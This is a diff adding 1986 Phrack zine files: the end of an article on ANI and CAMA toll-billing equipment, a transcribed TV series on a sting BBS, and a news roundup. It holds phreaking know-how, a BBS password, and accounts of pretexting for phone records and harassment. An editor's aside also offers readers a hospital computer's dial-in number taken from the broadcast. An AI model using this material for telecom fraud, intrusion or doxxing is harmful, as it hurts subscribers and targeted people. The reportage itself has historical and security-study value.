+ releases the identifier and proceeds to outpulse in MF tones the complete
84
+ calling subscriber's number to the CAMA equipment in the tandem office in the
85
+ format of KP+X+PRE+SUFF+ST where the X is an information digit. The
86
+ information digits are as follows:
87
+
88
+ 0-Automatic Identification (normal) 1-Operator Identification (ONI)*
89
+ 2-Identification Failure (ANIF)*
90
+
91
+ (There is also other types of outpulsing of ANI information if the calling
92
+ line has some sort of restriction on it).
93
+
94
+ When all digits have been transmitted and the ANI trunk is cut-through for
95
+ talking, the outpulser releases.
96
+
97
+ In the tandem office, the calling party's number is recorded on tape in
98
+ the CAMA equipment together with other data required for billing purposes.
99
+ This information, including the time of when the called station answered and
100
+ the time of disconnect, goes on AMA tapes.
101
+ The tapes themselves are usually standard reel to reel magnetic tape, and are
102
+ sent to the Revenue Accounting Office or RAO at the end of the billing period.
103
+
104
+ So, to sum the entire ANI process up:
105
+
106
+ The toll call is made. The CO routes the call through ANI trunks where an idle
107
+ identifier is seized which then connects to the directory number network and
108
+ bus system while signalling the ANI trunk to apply the needed 5800Hz tone to
109
+ the Sleeve. The identifier begins a scanning process and determines the
110
+ calling office number and the digits of the calling subscriber's number, which
111
+ is sent by way of the outpulser in MF tones to the CAMA equipment in the
112
+ tandem office. The call information is recorded onto AMA tapes and used to
113
+ determine billing.
114
+
115
+ Note that your number does show up on the AMA tape, if the circumstances
116
+ are correct, (any toll call, whether it is from a message-rate line or from a
117
+ flat-rate line). However, the AMA tapes do not record the calling line number
118
+ in any separated format. They are recorded on a first-come, first-serve basis.
119
+
120
+
121
+ Misc. Footnotes (denoted by an asterisk in the main article)
122
+ ---------------
123
+
124
+ * ANIF-Automatic Number Identification Failure. This is when the ANI equipment
125
+ does not work properly, and could occur due to a wide variety of technical-
126
+ ities. When ANIF occurs, something called ONI (Operator Number Identification)
127
+ is used. The call is forwarded to a TSPS operator who requests the calling
128
+ line number by saying something similar to 'What number are you calling from?'
129
+
130
+ * CAMA-Centralized Automatic Message Accounting. CAMA is a system that records
131
+ call details for billing purposes. CAMA is used from a centralized location,
132
+ usually a Tandem office. CAMA is usually used to serve class 5 End Offices in
133
+ a rural area near a large city which contains a Tandem or Toll Office. CAMA is
134
+ similar to LAMA, except LAMA is localized in a specific CO and CAMA is not.
135
+
136
+ * The Directory Number Network and bus system is a network involved with the
137
+ ANI process. It is a grid of vertical and horizontal buses, grouped and class-
138
+ ified as Primary or Secondary. There are 100 vertical and 100 horizontal buses
139
+ in the Primary system. In the Secondary system, there are two sub-groups:Bus
140
+ system #1 and Bus system #2, both of which have ten horizontal and vertical
141
+ buses. These buses as a whole are linked to the Identifier in the ANI trunk
142
+ and are responsible for identifying tens, hundreds, thousands and units digits
143
+ of the calling number (After the Identifier begins its scanning process).
144
+
145
+ * MDF-Main Distribution Frame. This is the area where all cable pairs of a
146
+ certain office meet, and a third wire, the Sleeve wire, is added. The Sleeve
147
+ wire is what is used in gathering ANI information, as well as determining a
148
+ called lines status (off/on hook) in certain switching systems by presence of
149
+ voltage. (voltage present on Sleeve, line is busy, no voltage, line is idle.)
150
+
151
+ * ONI-Operator Number Identification. See ANIF footnote.
152
+
153
+ NOTE: There are also other forms of Automatic Message Accounting, such as LAMA
154
+ (Local Automatic Message Accounting). LAMA is used in the class 5 End Office
155
+ as opposed to CAMA in a Toll Office. If your End Office had LAMA, then the ANI
156
+ information would be recorded at the local level and sent from there. The LAMA
157
+ arrangement may be computerized, in which it would denoted with a C included
158
+ (LAMA-C or C-LAMA).
159
+
160
+
161
+ References and acknowledgements
162
+ -------------------------------
163
+ Basic Telephone Switching Systems (Second Edition) by David Talley
164
+ Understanding Telephone Electronics by Radio Shack/Texas Instruments
165
+
166
+ Other sysops are allowed to use this file on their systems as long as none of
167
+ it is altered in any way.
168
+
169
+ -End of file-
170
+ Jul 12 1986
phrack/issue10/8.txt ADDED
@@ -0,0 +1,392 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #8 of 9
4
+
5
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
6
+ PWN PWN
7
+ PWN <-=*} Phrack World News {*=-> PWN
8
+ PWN PWN
9
+ PWN Issue IX/Part One PWN
10
+ PWN PWN
11
+ PWN Compiled, Written, and Edited by PWN
12
+ PWN PWN
13
+ PWN Knight Lightning PWN
14
+ PWN PWN
15
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
16
+
17
+ In PWN Issue Seven/Part One, we had an article entitled "Maxfield Strikes
18
+ Again." It was about a system known as "THE BOARD" in the Detroit 313 NPA.
19
+ The number was 313-592-4143 and the newuser password was "HEL-N555,ELITE,3"
20
+ (then return). It was kind of unique because it was run off of an HP2000
21
+ computer. On August 20, 1986 the following message was seen on "THE BOARD."
22
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
23
+ Welcome to MIKE WENDLAND'S I-TEAM sting board!
24
+ (Computer Services Provided By BOARDSCAN)
25
+ 66 Megabytes Strong
26
+
27
+ 300/1200 baud - 24 hours.
28
+
29
+ Three (3) lines = no busy signals!
30
+ Rotary hunting on 313-534-0400.
31
+
32
+
33
+ Board: General Information & BBS's
34
+ Message: 41
35
+ Title: YOU'VE BEEN HAD!!!
36
+ To: ALL
37
+ From: HIGH TECH
38
+ Posted: 8/20/86 @ 12.08 hours
39
+
40
+ Greetings:
41
+
42
+ You are now on THE BOARD, a "sting" BBS operated by MIKE WENDLAND of the
43
+ WDIV-TV I-Team. The purpose? To demonstrate and document the extent of
44
+ criminal and potentially illegal hacking and telephone fraud activity by the
45
+ so-called "hacking community."
46
+
47
+ Thanks for your cooperation. In the past month and a half, we've received all
48
+ sorts of information from you implicating many of you to credit card fraud,
49
+ telephone billing fraud, vandalism, and possible break-ins to government or
50
+ public safety computers. And the beauty of this is we have your posts, your
51
+ E-Mail and--- most importantly ---your REAL names and addresses.
52
+
53
+ What are we going to do with it? Stay tuned to News 4. I plan a special
54
+ series of reports about our experiences with THE BOARD, which saw users check
55
+ in from coast-to-coast and Canada, users ranging in age from 12 to 48. For our
56
+ regular users, I have been known as High Tech, among other ID's. John Maxfield
57
+ of Boardscan served as our consultant and provided the HP2000 that this "sting"
58
+ ran on. Through call forwarding and other conveniences made possible by
59
+ telephone technology, the BBS operated remotely here in the Detroit area.
60
+
61
+ When will our reports be ready? In a few weeks. We now will be contacting
62
+ many of you directly, talking with law enforcement and security agents from
63
+ credit card companies and the telephone services.
64
+
65
+ It should be a hell of a series. Thanks for your help. And don't bother
66
+ trying any harassment. Remember, we've got YOUR real names.
67
+
68
+ Mike Wendland
69
+ The I-team
70
+ WDIV, Detroit, MI.
71
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
72
+ This then is the result:
73
+
74
+ Phrack World News proudly presents...
75
+
76
+ Mike Wendland & the I-Team Investigate
77
+ "Electronic Gangsters"
78
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
79
+
80
+ Carman Harlan: Well we've all heard of computer hackers, those electronic
81
+ gangsters who try to break into other people's computer
82
+ systems. Tonight on the first of a three part news 4 [WDIV-TV,
83
+ Channel 4 in Detroit] extra, Mike Wendland and the I-Team will
84
+ investigate how such computer antics jeopardize our privacy.
85
+ Mike joins us now to tell us what at first may have been
86
+ innocent fun may now be affecting our pocket books.
87
+
88
+ Mike Wendland: Well Carman and Mort, thanks to the media and movies just about
89
+ everyone knows about hackers and phone phreaks. By hooking
90
+ their Apples, their Ataris, and their Commodores into telephone
91
+ lines these electronic enthusiasts have developed a new form of
92
+ communication, the computer bulletin board. There are probably
93
+ 10,000 of these message swapping boards around the country
94
+ today, most are innocent and worthwhile. There are an
95
+ estimated 1,000 pirate or hacker boards where the main
96
+ activities are electronic trespassing, and crime [Estimates
97
+ provided by John Maxfield].
98
+
99
+ [Clipping From Wargames comes on]
100
+
101
+ In movies like Wargames computer hackers are portrayed as
102
+ innocent hobbyist explorers acting more out of mischief than
103
+ malice. But today a new generation of hackers have emerged. A
104
+ hacker that uses his knowledge of computers to commit crimes.
105
+ Hackers have electronically broken into banks, ripped off
106
+ telephone companies for millions of dollars, trafficked in
107
+ stolen credit card numbers, and through there network of
108
+ computer bulletin boards traded information on everything from
109
+ making bombs to causing terrorism.
110
+
111
+ [Picture of John Maxfield comes on]
112
+
113
+ John Maxfield: Well, now there are electronic gangsters, not just electronic
114
+ explorers they are actually gangsters. These hackers meet
115
+ electronically through the phone lines or computer bulletin
116
+ boards. They don't meet face to face usually, but it is a
117
+ semi-organized gang stile activity, much like a street gang, or
118
+ motorcycle gang.
119
+
120
+ Mike Wendland: John Maxfield of Detroit is America's foremost "Hacker
121
+ Tracker". He has worked for the F.B.I. and various other law
122
+ enforcement and security organizations. Helping catch dozens
123
+ of hackers around the country, who have used their computers
124
+ for illegal purposes. To find out how widespread these
125
+ electronic gangsters have become, we used John Maxfield as a
126
+ consultant to setup a so-called "sting" bulletin board [THE
127
+ BOARD].
128
+
129
+ We wrote and designed a special program that would allow us to
130
+ monitor the calls we received and to carefully monitor the
131
+ information that was being posted. We called our undercover
132
+ operation "The Board", and put the word out on the underground
133
+ hacker network that a new bulletin board was in operation for
134
+ the "Elite Hacker". Then we sat back and watched the computer
135
+ calls roll in.
136
+
137
+ In all we ran our so called "Sting" board for about a month and
138
+ a half, 24 hours a day, 7 days a week. We received literally
139
+ hundreds of phone calls from hackers coast to coast, ranging in
140
+ age from 17 to 43. All of them though had one thing in common,
141
+ they were looking for ways to cheat the system.
142
+
143
+ The hackers identified themselves by nicknames or handles like
144
+ CB radio operators use, calling themselves things like Ax
145
+ Murderer, Big Foot, and Captain Magic. They left messages on a
146
+ variety of questionable subjects, this hacker for instance told
147
+ how to confidentially eavesdrop on drug enforcement radio
148
+ conversations. A New York hacker called The Jolter swapped
149
+ information on making free long-distance calls through stolen
150
+ access codes, and plenty of others offered credit card numbers
151
+ to make illegal purchases on someone else's account.
152
+
153
+ John Maxfield: Well these kids trade these credit card numbers through the
154
+ computer bulletin boards much like they'd trade baseball cards
155
+ at school. What we've seen in the last few years is a series
156
+ of hacker gangs that are run by an adult, sort of the
157
+ mastermind who stays in the background and is the one who
158
+ fences the merchandise that the kids order with the stolen
159
+ credit cards.
160
+
161
+ Mike Wendland: Then there were the malicious messages that had the potential
162
+ to do great harm. The Repo Man from West Virginia left this
163
+ message telling hackers precisely how to break into a hospital
164
+ computer in the Charleston, WV area.
165
+
166
+ [Picture of Hospital]
167
+
168
+ This is where that number rings, the Charleston Area Medical
169
+ Center. We immediately notified the hospital that there
170
+ computer security had been breached. Through a spokesperson,
171
+ the hospital said that a hacker had indeed broken into the
172
+ hospital's computer and had altered billing records. They
173
+ immediately tightened security and began an investigation.
174
+ They caught the hacker who has agreed to make restitution for
175
+ the damages. Maxfield says though, "Most such break-ins are
176
+ never solved".
177
+
178
+ John Maxfield: When you are talking about electronic computer intrusion, it's
179
+ the perfect crime. It's all done anonymously, it's all done by
180
+ wires, there's no foot prints, no finger prints, no blood
181
+ stains, no smoking guns, nothing. You may not even know the
182
+ system has been penetrated.
183
+
184
+ Mike Wendland: Our experience with the "Sting" bulletin board came to a sudden
185
+ and unexpected end. Our cover was blown when the hackers
186
+ somehow obtained confidential telephone company records. The
187
+ result a campaign of harassment and threats that raised serious
188
+ questions about just how private our supposedly personal
189
+ records really are. That part of the story tomorrow. [For a
190
+ little more detail about how their cover was "blown" see PWN
191
+ Issue 7/Part One, "Maxfield Strikes Again." Heh heh heh heh.]
192
+
193
+ Mort Crim: So these aren't just kids on a lark anymore, but who are the
194
+ hackers?
195
+
196
+ Mike Wendland: I'd say most of them are teenagers, our investigation has
197
+ linked about 50 of them hardcore around this area, but most
198
+ very young.
199
+
200
+ Mort Crim: Far beyond just vandalism!
201
+
202
+ Mike Wendland: Yep.
203
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
204
+ A few quicknotes in between shows, Mike Wendland and John Maxfield set up THE
205
+ BOARD. Carman Harlan and Mort Crim are newscasters.
206
+
207
+ Also if anyone is interested in the stupidity of Mike Wendland, he flashed the
208
+ post that contained the phone number to the hospital across the screen, Bad
209
+ Subscript put the VCR on pause and got the number. If interested please
210
+ contact Bad Subscript, Ctrl C, or myself.
211
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
212
+ Carman Harlan: Tonight on the second part of a news 4 [WDIV-TV, Channel 4 in
213
+ Detroit] extra Mike Wendland and the I-Team report on how they
214
+ setup a sting bulletin board to see how much they could get on
215
+ these criminal hackers. Mike joins us now to explain that
216
+ information, that was not the only thing they got.
217
+
218
+ Mike Wendland: That's right, Carman & Mort. Our so called sting bulletin
219
+ board received hundreds of calls from hackers all over America,
220
+ and even Canada. They offered to trade stolen credit cards,
221
+ and they told how to electronically break into sensitive
222
+ government computers. But our investigation came to a sudden
223
+ end when our sting board was stung. Our cover was blown when
224
+ a hacker discovered that this man, computer security expert
225
+ John Maxfield was serving as the I-Team consultant on the
226
+ investigation. Maxfield specializes as a hacker tracker and
227
+ has worked for the F.B.I. and various other police and security
228
+ agencies. The hacker discovered our sting board by getting a
229
+ hold of Maxfield's supposedly confidential telephone records.
230
+
231
+ John Maxfield: And in the process of doing that he discovered the real number
232
+ to the computer. We were using a different phone number that
233
+ was call forwarded to the true phone number, he found that
234
+ number out and called it to discover he was on the sting board.
235
+
236
+ Mike Wendland: But the hacker didn't stop at exposing the sting, instead he
237
+ posted copies of Maxfield's private telephone bill on other
238
+ hacker bulletin boards across the country.
239
+
240
+ John Maxfield: The harassment started, all of the people on my phone bill got
241
+ calls from hackers. In some cases their phone records were
242
+ also stolen, friends and relatives of theirs got calls from
243
+ hackers. There was all sorts of other harassment, I got a call
244
+ from a food service in Los Angeles asking where I wanted the
245
+ 500 pounds of pumpkins delivered. Some of these kids are
246
+ running around with guns, several of them made threats that
247
+ they were going to come to Detroit, shoot me and shoot Mike
248
+ Wendland.
249
+
250
+ Mike Wendland: A spokesperson from Michigan Bell said that the breakdown in
251
+ security that led to the release of Maxfield's confidential
252
+ records was unprecedented.
253
+
254
+ Phil Jones (MI Bell): I think as a company were very concerned because we work
255
+ very hard to protect the confidentially of customer's
256
+ records. [Yeah, right].
257
+
258
+ Mike Wendland: The hacker who got a hold of Maxfield's confidential phone
259
+ records is far removed from Michigan, he lives in Brooklyn, NY
260
+ and goes by the name Little David [Bill From RNOC]. He says
261
+ that getting confidential records from Michigan Bell or any
262
+ other phone company is child's play. Little David is 17 years
263
+ old. He refused to appear on camera, but did admit that he
264
+ conned the phone company out of releasing the records by simply
265
+ posing as Maxfield. He said that he has also sold pirated
266
+ long-distance access codes, and confidential information
267
+ obtained by hacking into the consumer credit files of T.R.W.
268
+ Little David says that one of his customers is a skip-tracer, a
269
+ private investigator from California who specializes in finding
270
+ missing people. Maxfield, meanwhile, says that his own
271
+ information verified Little David's claim.
272
+
273
+ John Maxfield: The nearest I can determine the skip-tracer was using the
274
+ hacker, the 17 year old boy to find out the whereabouts of
275
+ people he was paid to find. He did this by getting into the
276
+ credit bureau records for the private eye. This is an invasion
277
+ of privacy, but it's my understanding that this boy was getting
278
+ paid for his services.
279
+
280
+ Mike Wendland: In Long Island in New York, Maxfield's telephone records were
281
+ also posted on a bulletin board sponsored by Eric Corley,
282
+ publisher of a hacker newsletter [2600 Magazine]. Corley
283
+ doesn't dispute the harassment that Maxfield received.
284
+
285
+ Eric Corley: Any group can harass any other group, the difference with hackers
286
+ is that they know how to use particular technology to do it. If
287
+ you get a malevolent hacker mad at you there's no telling all the
288
+ different things that can happen.
289
+
290
+ Mike Wendland: What can happen? Well besides getting your credit card number
291
+ or charging things to your account, hackers have been known to
292
+ change people's credit ratings. It is really serious business!
293
+ And tomorrow night we'll hear about the hacker philosophy which
294
+ holds that if there is information out there about you it is
295
+ fair game.
296
+
297
+ Mort Crim: "1984" in 1986.
298
+
299
+ Mike Wendland: It is!
300
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
301
+ Carman Harlan: News four [WDIV-TV, Channel 4 in Detroit] extra, Mike Wendland
302
+ and the I-Team look at how these hackers are getting out of
303
+ hand.
304
+
305
+ Mike Wendland: The problem with hackers is not just with mischief anymore,
306
+ unscrupulous hackers are not only invading your privacy, they
307
+ are costing you money. Case and point, your telephone bills,
308
+ because American telephone companies have long been targets of
309
+ computer hackers and thieves we are paying more than we should.
310
+ Experts say the long distance companies lose tens of millions
311
+ of dollars a year to, these self described "Phone Phreaks."
312
+
313
+ For example in Lansing, the Michigan Association of
314
+ Governmental Employees received a phone bill totalling nearly
315
+ three hundred and twenty one thousand dollars. For calls
316
+ illegally racked up on there credit card by hackers. Such
317
+ victims seldom get stuck paying the charges, so hackers claim
318
+ there piracy is innocent fun.
319
+
320
+ Phil Jones (MI Bell): Nothing could be further from the truth, it becomes a
321
+ very costly kind of fun. What happens is that the
322
+ majority of the customers who do pay there bills on
323
+ time, and do use our service lawfully end up quitting
324
+ after that bill.
325
+
326
+ Mike Wendland: That's not all, hackers regularly invade our privacy, they
327
+ leave pirated credit card numbers and information how to break
328
+ into electronic computer banks on bulletin boards. Thousands
329
+ of such electronic message centers exist across the country,
330
+ most operated by teenagers.
331
+
332
+ John Maxfield: There is no law enforcement, no parental guidance, they're just
333
+ on their own so they can do anything they want. So the few bad
334
+ ones that know how to steal and commit computer crimes teach
335
+ the other ones.
336
+
337
+ Mike Wendland: There is very little that is safe from hackers, from automatic
338
+ teller machines and banks to the internal telephone systems at
339
+ the White House. Hackers have found ways around them all
340
+ hackers even have their own underground publication of sorts
341
+ that tells them how to do it.
342
+
343
+ [Close up of publication]
344
+
345
+ Its called 2600 [2600 Magazine], after the 2600 hertz that
346
+ phone phreaks use to bypass telephone companies billing
347
+ equipment. It tells you how to find credit card numbers and
348
+ confidential records in trash bins, break into private
349
+ mainframe computers, access airline's computers, and find
350
+ financial information on other people through the nations
351
+ largest credit bureau, TRW. 2600 is published in a
352
+ ram-shackled old house at the far end of Long Island, New York
353
+ by this man, Eric Corley. He argues that hackers aren't
354
+ electronic gangsters.
355
+
356
+ Eric Corley: We like to call them freedom fighters. Hackers are the true
357
+ individuals of the computer revolution, they go were people tell
358
+ them not to go, they find out things they weren't supposed to
359
+ find out.
360
+
361
+ Mike Wendland: Corley's newsletter supports a hacker bulletin board called the
362
+ Private Sector. Last year the F.B.I. raided it.
363
+
364
+ Eric Corley: They managed to charge the system operator with illegal
365
+ possession of a burglary tool in the form of a computer program.
366
+
367
+ Mike Wendland: But the bulletin board is still in operation. Corley resents
368
+ the suspicion that hackers are involved in criminal activities.
369
+
370
+ Eric Corley: Hackers are not the people who go around looking for credit cards
371
+ and stealing merchandise. That's common thievery. Hackers are
372
+ the people who explore. So basically what we are saying is more
373
+ knowledge for more people. That will make it better for
374
+ everybody.
375
+
376
+ Mike Wendland: He claims that hackers, in their own ways, really protect our
377
+ rights by exposing our vulnerabilities. Well hackers may
378
+ expose our vulnerabilities, but they also invade our privacy.
379
+ There activities have really spotlighted the whole question of
380
+ privacy raised by the massive files that are now out there in
381
+ electronic data banks. Much of that information that we think
382
+ is personal and confidential is often available to the whole
383
+ world.
384
+
385
+
386
+
387
+ Original transcript gathered and typed by
388
+
389
+ Ctrl C & Bad Subscript
390
+
391
+ Major editing by Knight Lightning
392
+ _______________________________________________________________________________
phrack/issue10/9.txt ADDED
@@ -0,0 +1,298 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue Ten, Phile #9 of 9
4
+
5
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
6
+ PWN PWN
7
+ PWN <-=*} Phrack World News {*=-> PWN
8
+ PWN PWN
9
+ PWN Issue IX/Part Two PWN
10
+ PWN PWN
11
+ PWN Compiled, Written, and Edited by PWN
12
+ PWN PWN
13
+ PWN Knight Lightning PWN
14
+ PWN PWN
15
+ PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
16
+
17
+ On The Home Front December 25, 1986
18
+ -----------------
19
+ Happy Holidays to all from everyone at Phrack Inc. and Metal Shop Private!
20
+
21
+ Well, here we are at that time of year again and before too long we will have a
22
+ new wave of self appointed hackers who got their modems for Christmas.
23
+
24
+ Some important dates to point out:
25
+
26
+ November 17, 1986............1st Anniversary of Phrack Inc.
27
+ January 2, 1987..............1st Anniversary of Metal Shop being a PRIVATE BBS.
28
+ January 10, 1987.............1st Anniversary of Metal Shop AE, now Quick Shop
29
+ January 25, 1987.............1st Anniversary of Phrack World News
30
+
31
+ The Phrack Inc./Metal Shop Private Voice Mailbox is now back in operation. If
32
+ you have a question for Taran King, Cheap Shades, or myself and cannot reach us
33
+ through regular means, please leave us a message on our VMS.
34
+
35
+ Thanks to the efforts of Oryan Quest, an upcoming Phrack Pro-Phile will focus
36
+ on Steve Wozniak.
37
+
38
+ Plans are already underway for Summer Con '87. It is to be held in St. Louis,
39
+ Missouri during the last week of June. It is being sponsored by TeleComputist
40
+ Newsletter, Phrack Inc., and Metal Shop Private. Forest Ranger is in charge of
41
+ planning and is putting out a lot of front money for the necessary conference
42
+ rooms and such. There will be a mandatory $10 admittance at the door to Summer
43
+ Con '87. If you will be attending this conference, please as an act of
44
+ good faith and to save 50% send $5 in early to:
45
+
46
+ J. Thomas
47
+ TeleComputist Newsletter
48
+ P.O. Box 2003
49
+ Florissant, Missouri 63032-2003
50
+
51
+ Also, Letters to the Editor and anything else dealing with TeleComputist can be
52
+ sent to the same address. TeleComputist can also be reached through Easylink
53
+ at 62195770, MCI Telex at 650-240-6356, CIS at 72767,3207 and PLINK at OLS 631.
54
+ Try MCI and Easylink first.
55
+
56
+ Not much else to say... so keep learning and try not to get into any trouble.
57
+
58
+ :Knight Lightning
59
+ _______________________________________________________________________________
60
+
61
+ Computer Hackers Beware! - Senate Passes Computer Fraud And Abuse Act
62
+ ------------------------ ------------------------------------------
63
+ On October 2, 1986, the US Senate unanimously passed the Computer Fraud and
64
+ Abuse Act of 1986. The bill, S. 2281, imposes fines of up to $500,000 and/or
65
+ prison terms of up to 20 years for breaking into government or financial
66
+ institutions' computers.
67
+
68
+ The Federal Government alone operates more than 18,000 medium-scale and
69
+ large-scale computers at some 4,500 different sites. The Office of Technology
70
+ Assessment estimates the government's investment in computers over the past
71
+ four years at roughly $60 million. The General Services Administration
72
+ estimates that there will be 250,000 to 500,000 computers in use by the Federal
73
+ Government by 1990.
74
+
75
+ In 1984, legislators' attention to and concern about computer fraud was
76
+ heightened by a report by the American Bar Association task force on computer
77
+ crime. According to the report, based on a survey of 1,000 private
78
+ organizations and public agencies, forty-five percent of the 283 respondents
79
+ had been victimized by some form of computer crime, and more than 25 percent
80
+ had sustained financial losses totaling between an estimated $145 million and
81
+ $730 million during one twelve month period.
82
+
83
+ To address this problem, the Senate and House enacted, in 1984, the first
84
+ computer statute (18 U.S.C. 1030). Early this year both the House and Senate
85
+ introduced legislation to expand and amend this statute.
86
+
87
+ In the current bill, which is expected to be signed by President Reagan next
88
+ week, penalties will be imposed on anyone who knowingly or intentionally
89
+ accesses a computer without authorization, or exceeds authorized access and:
90
+
91
+ (1) Obtains from government computers information relating to national defense
92
+ and foreign relations.
93
+
94
+ (2) Obtains information contained in financial records of financial
95
+ institutions.
96
+
97
+ (3) Affects the use of the government's operation of a computer in any
98
+ department or agency of the government that is exclusively for the use of
99
+ the U.S. Government.
100
+
101
+ (4) Obtains anything of value, unless the object of the fraud and the thing
102
+ obtained consists only of the use of the computer.
103
+
104
+ (5) Alters, damages, or destroys information in any federal interest computer,
105
+ or prevents authorized use of any such computer or information.
106
+
107
+ Under the bill, a person would be guilty of computer fraud if he or she causes
108
+ a loss of $1,000 or more during any one year period.
109
+
110
+ Depending on the offense, penalties include fines up to $100,000 for a
111
+ misdemeanor, $250,000 for a felony, $500,000 if the crime is committed by an
112
+ organization, and prison terms of up to 20 years.
113
+
114
+ The bill also prohibits traffic in passwords and other information from
115
+ computers used for interstate or foreign commerce. This part of the bill makes
116
+ it possible for Federal Prosecutors to crack down on pirate bulletin boards and
117
+ similar operations because the bill covers business computers, online networks,
118
+ and online news and information services, all of which are considered
119
+ interstate commerce.
120
+
121
+ Information provided by
122
+
123
+ P - 8 0 S y s t e m s
124
+ _______________________________________________________________________________
125
+
126
+ GTE News December 20, 1986
127
+ --------
128
+ "GTE Develops High-Speed GaAs Multiplexer Combining Four Data Channels"
129
+
130
+ In an effort to achieve data communication rates of several gigabits per
131
+ second, GTE Labs (Waltham, MA) is combining the high-capacity of fiber optics
132
+ with the high speed of gallium arsenide circuits. The research arm of GTE has
133
+ designed a GaAs multiplexer that can combine four data channels, each with a
134
+ communication rate of 1 gigabit per second, into one channel. GTE has also
135
+ recently developed a technique called MOVPE (metal-organic vapor-phase
136
+ epitaxy) for efficiently growing thin-film GaAs crystals.
137
+
138
+ The new devices should play an important role in future communication systems,
139
+ which will involve high-capacity fiber-optic cables connecting houses and
140
+ offices through telephone switching centres. Data rates on these cables could
141
+ be as high as 20 gigabits per second. In addition to standard computer data,
142
+ numerous video channels could be supported, each with a data rate of almost
143
+ 100 megabits per second. The GaAs multiplexers will probably be the only
144
+ devices fast enough to interface houses and offices through this fiber-optic
145
+ grid. In future supercomputers [misuse of the word -eds.] these multiplexers
146
+ will also be used for high-speed fiber-optic transmissions between various
147
+ boards in the computer, replacing copper wires. Because of the high-speed
148
+ nature of the fiber-optic link, such techniques may even be used for chip-to-
149
+ chip communication.
150
+
151
+ GTE said it has completed a prototype of the GaAs multiplexer and a final
152
+ version should be ready in less than a year.
153
+
154
+ Comments: And meanwhile, while GTE's been building gigabit/second
155
+ multiplexers, AT&T Bell Labs is still experimenting with the neuron
156
+ webs from slug brains...
157
+
158
+ Information from Byte Magazine, December 1986, Page 9
159
+
160
+ Typed & Commented on by Mark Tabas
161
+ _______________________________________________________________________________
162
+
163
+ The LOD/H Technical Journal
164
+ ---------------------------
165
+ The Legion Of Doom/Hackers Technical Journal is a soft-copy free newsletter
166
+ whose primary purpose is to further the knowledge of those who are interested
167
+ in topics such as: Telecommunications, Datacommunications, Computer & Physical
168
+ Security/Insecurity and the various technical aspects of the phone system.
169
+
170
+ The articles are totally original unless otherwise stated. All sources of
171
+ information for a specific article are listed in the introduction or conclusion
172
+ of the article. They will not accept any articles that are unoriginal,
173
+ plagiarized, or contain invalid or false information. Articles will be
174
+ accepted from anyone who meets those criteria. They are not dependant upon
175
+ readers for articles, since members of LOD/H and a select group of others will
176
+ be the primary contributors, but anyone can submit articles.
177
+
178
+ There is no set date for releasing issues, as they have no monetary or legal
179
+ obligation to the readers, but they predict that issues will be released
180
+ every 2 or 3 months. Thus, expect 4 to 6 issues a year assuming that they
181
+ continue to produce them, which they intend to do.
182
+
183
